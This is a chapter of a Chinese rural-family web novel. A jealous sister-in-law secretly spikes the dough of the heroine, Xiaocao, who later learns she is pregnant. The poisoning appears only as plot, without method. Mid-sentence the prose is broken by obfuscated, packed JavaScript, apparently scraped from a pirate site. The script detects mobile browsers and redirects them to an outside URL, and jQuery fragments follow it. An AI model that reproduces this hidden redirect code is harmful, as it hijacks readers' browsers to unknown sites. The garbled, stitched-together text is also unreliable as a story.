月牙嫂子家在村头，老李家在村尾，一来一回，纵使她脚快，也要到天黑。
幸好她已经揉好了面，不用担心来不及做饭。
可等那一锅热气腾腾的馒头揭了盖，小草整个人都僵住了。
那馒头不是白净的，竟然泛着一层触目惊心的暗黄，有的地方甚至红得发紫。
那应是碱放得极重才会有的颜色。
“这……怎么会这样？”小草喃喃自语，手颤抖着拿起一个。
婆婆李老太闻声走过来，瞧着那一屉毁了的白面馒头，眉头拧成了一个疙瘩。
她没说话，粮食被糟蹋，她自然是不满的，但看了看小草惊愕的脸，她也不好多说什么。
只是奇怪，小草从前在家做饭，嫁了人也在老李家做了快一年的饭，怎么会连放碱都放错？
更何况这馒头，又黄又紫的，看着不像只是放多了碱。
李老太浑浊的眼球里没有半点温情，倒像是冬日里结了厚冰的深潭，冷硬且能照见一切腌臜。
她的余光极快地扫向了正靠在西屋门框上剥指甲的喜凤。
喜凤正装作浑不吝地撕着指甲边的死皮，在那道视线触碰到她皮肤的一瞬间，她的手指猛地僵住了。
那一刻，喜凤只觉得脊背发凉，仿佛有一条冰冷的毒蛇顺着脚踝爬了上来，冷汗毫无预兆地从鬓角渗出。
她心里“咯噔”一声，原本满满当当的自鸣得意像是被扎了个窟窿的尿脬，滋滋地往外漏着虚气。
她为什么看她？她为什么那样看她？
她知道了？她怎么可能知道？
那药末子她明明搅得匀匀的……喜凤在心里疯狂地呐喊，可越是心虚，面上就越是要张牙舞爪。
为了掩盖那股快要没过头顶的恐慌，喜凤猛地抬头，故意发出一声尖锐而扭曲的笑，“哟，小草，你这是存心让我婆婆烧心呢？这么大碱味，是想药死谁呀？”
她的嗓门很大，大得震耳欲聋，可掩盖不住的是她那双拼命往下拉扯、不敢与婆婆对视的眼球。
李老太依旧没说话，只是冷冷地收回视线，抓起个发红的馒头就往嘴里送，被涩得直皱眉还要宽慰小草，“没事，硬实，吃了耐饿。”
田小草看着婆婆都吃了，自然也伸手去拿，自己咬下一个馒头，果然难吃得要吐。
可是庄稼人哪管这些，她拼命地吃着，生怕有一点儿浪费。
“坏了的东西，我才不吃呢。”喜凤瞥了眼那一屉子的红紫色馒头，冷“切”一声便离开了厨房。
见她离开，小草低着的头又垂了起来，她死死咬着唇，明明她只会做饭干活了，没想到有一天她居然会连这个都干不好。
一种无力的挫败感比任何辱骂都让她难受。
第二天清晨，空气里还带着冷雾。
小草重操旧业，在灶台前揉面。李老太悄无声息地走了进来，手里提着一盏昏暗的油灯。
“小草，放碱了吗？”老太太声音压得很低。
“还没，妈。”小草指了指手边的碱面坛子。
李老太没让小草动手，她自己走上前，伸手去够那个坛子。
就在那一瞬间，原本想进来偷看笑话的喜凤，在门帘掀开的一角对上了李老太的眼睛。
李老太的手并没有直接伸进坛子，而是指尖在坛沿残留的一抹粉末上轻轻一抹，放在鼻尖嗅了嗅，随即，她的目光像两道利刃，直接扎在了喜凤脸上。
没人说话。
灶房里死一般的寂静，只有柴火偶尔爆裂的噼啪声。
李老太就那样盯着喜凤，一言不发。喜凤心虚得像被当众扒了皮。
喜凤的脸色由红转青，又由青转白，喉咙里像塞了团湿棉花。她再也不敢多待一秒，扭头撞开门帘跑了出去。
那一整天，喜凤都像丢了魂。
她再胆大，也都只是胆子大，她可没厉害到杀人不眨眼，还能望着警察病态大笑的程度。
她趁着夜色，发了疯似地冲到地里，用手刨开湿冷的泥土。
她怀里那几包剩下的残药，此刻成了烫手的山芋。
“不能留……绝对不能留……”喜凤哆嗦着，把药粉连带纸包全埋进了深坑里。她死命地用脚踩着那块地，仿佛只要踩得够实，就能把她做过的那些腌臜事彻底埋进地狱。
生就生吧田小草，生了孩子才好，在这个破烂家，生了孩子才痛苦呢。
一个月后。
初冬的夜，寒气逼人。
小草病怏怏地蜷缩在被褥里，脸色青白得像是一张被雨水淋透的废纸。
她已经这样折腾大半个月了，吃什么吐什么，哪怕只是闻到灶房里那股子陈年的荤油味，胃里便翻江江倒海地折腾。
她心里怕极了，总觉得那是小旺死了，她娘对她的惩罚。
后半夜，柴扉“吱呀”一声，打破了死寂。来顺背着个鼓囊囊的工包，满头寒霜地闯了进来。
“妈！小草咋样了？”来顺连鞋都顾不得换，一进屋就扑到炕沿边，那双手在寒风里冻得像紫红的胡萝卜，颤抖着去摸小草的额头。
小草勉强睁开眼，还没开口说什么，嗓子眼儿就猛地一紧，一股子熟悉的酸水又涌了上来。
她像条缺水的鱼，伏在炕沿边剧烈地干呕起来，呕得眼角全是生理性的泪水，胸腔发出一阵阵令人心碎的空响。
“哎哟，我的儿啊！你怎么回来了！”李老太披着黑棉袄跟进来，瞧着这情形，眼圈儿当场就红了。
“妈，小草这到底是啥病啊？咋瘦成这副鬼样子了？”来顺眼里的泪珠子吧嗒吧嗒往下掉。
他是个实诚汉子，不懂得什么弯弯绕绕，只觉得自家媳妇这副模样，活脱脱像是戏里唱的那些“油尽灯枯”的苦命人。
“来顺……”小草缓过一口气，声音弱得像被风一吹就散的烟，她紧紧抓着来顺的手，眼里满是惊恐和凄凉，“我这肚子里疼得像有人在拧，怕是得了什么治不好的恶疾，要给李家留累赘了……”
“别胡说！别瞎想！”来顺嚎了一嗓子，声儿里带着哭腔，“你要是走了，我下半辈子跟谁过去？妈，咱明天就算砸锅卖铁，也要带小草去城里的大医院，哪怕是换血换命，我也得把她换回来！”
夫妻俩在炕头哭成一团，一个觉得死期将至，满心是对这苦难世间的万般不舍，一个觉得大祸临头，恨不得替对方受了这份罪。
这凄惨的氛围把李老太也带偏了，老太太抹着眼泪点头：“去，明天就去，咱李家不能没了这个媳妇。”
这一墙之隔的西屋，喜凤正睁着眼躺在炕上。
听着隔壁那惊天动地的哭喊声，听着来顺那傻子要把小草当绝症治的混账话，喜凤先是愣了一瞬，随即嘴角浮起一抹极冷的笑。
她是生过大龙的人，田小草这症状她怎么会不知道？
那种滋味她这辈子都忘不了。闻不得油烟，见不得荤腥，觉多身子沉，还有那种像是要把五脏六腑都吐出来的奇葩动静，活像是阎王爷招收的标志，其实只是怀孕了而已。
虽然怀孕也就是去鬼门关走一遭。
只不过，田小草竟然怀孕了？
这个念头在喜凤脑子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301542|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里转了一圈，像是一块带刺的铁，磨得她心尖生疼。她下意识地攥紧了手里的被角，指甲深深陷进棉絮里。
嫉妒像是地沟里的潮虫，密密麻麻地爬满了她的心房。
在这个家，她喜凤之所以能横行霸道，不只是因为她这天生的脾气，还仗着她是唯一给李家续了香火的女人。
如果小草这个圣人再有了孩子，那这李家大宅里，哪里还有她喜凤的一席之地？到时候婆婆的偏心、来顺的感激、甚至全村人的高看，都会像潮水一样涌向那个窝囊废。
可嫉妒之余，喜凤心里又生出一股扭曲的、恶毒的快感。
她回想起自己怀大龙时的那些日子，男人不在身边，婆婆催着干活，到了生的时候，那简直是进了一趟鬼门关，疼得恨不得撞墙。
“生吧，怀吧，”喜凤盯着漆黑的房梁，无声地冷笑，“田小草，你以为那是福报？那是受罪的开始，我倒要看看你能不能熬过那一刀绞心的疼。”
“既然药都药不倒，老天非让你生孩子，那就让你在产床上领教领教，什么叫当女人的报应。”
她翻了个身，心里的七上八下终究化作了一抹阴毒的期盼。
她期盼着那个生命能把小草折磨得形销骨立，期盼着小草在往后的日子里，像她当年一样，在屎尿和啼哭中磨掉那一身清高的傲骨。
第二天清晨，老郎中进了门。
当那根枯瘦的手指搭在小草纤细的手腕上时，全家人都摒住了呼吸，空气粘稠得仿佛能滴下水来。
来顺紧紧盯着郎中的脸色，生怕从那几道皱纹里读出“无药可医”四个字。
“大夫，您直说吧，我撑得住。”来顺颤声说道。
老郎中收了手，先是看了一眼如临大敌的来顺，又看了一眼面如死灰的小草，突然哈哈大笑起来，拍着大腿喊道：“顺子啊顺子，你这哪里是请我来治病的，你是请我来报喜的呀！这脉象滑如滚珠，有力得很，你媳妇没得绝症，她是给你们李家添丁进口啦！”
“怀……怀了？”
在场的所有人都拍手叫好，开心得不得了。
除了田小草。
田小草整个人也像是被定住了一般，不知是该哭还是该笑。
那一瞬间，窗外初冬的暖阳刚好破开云层，洒在她的脸上。
她低下头，颤抖着手抚向那依旧平坦的小腹。一种从未有过的神奇感从指尖传导到灵魂深处。
她的肚子里竟然有一个生命？一个流淌着她血液的小东西，正悄悄地扎根在她的血肉里，吸吮着她的生机。
她突然觉得这个世界变得格外清晰，甚至能听到自己心跳的声音，咚、咚，和那个未知的生命共振。
那是感动。
这种被老天爷突然眷顾的巨大惊喜，让她瞬间泣不成声。
可感动之后，那股名为“恐惧”的阴云又迅速聚拢了过来。
她想起了喜凤早产的嘶吼，想起了村里那些因为难产而死掉的女人，想起了那座像是大山一样压在所有女人头上的“养育”重担。
她想要这个孩子吗？她能养好这个孩子吗？
小草的心里充满了焦虑。
在这个风雨飘摇的家里，在这个被喜凤盯着、被婆婆盼着的处境下，她这双只会割草揉面的手，真的能护住这个脆弱的小生命吗？
她看向来顺，来顺正像个傻子一样在院子里疯跑大喊。
可小草的眼神里，除了那抹初为人母的柔情，更多的却是一种深不见底的战栗。
她突然意识到，有一个孩子的所有所有要依靠她了。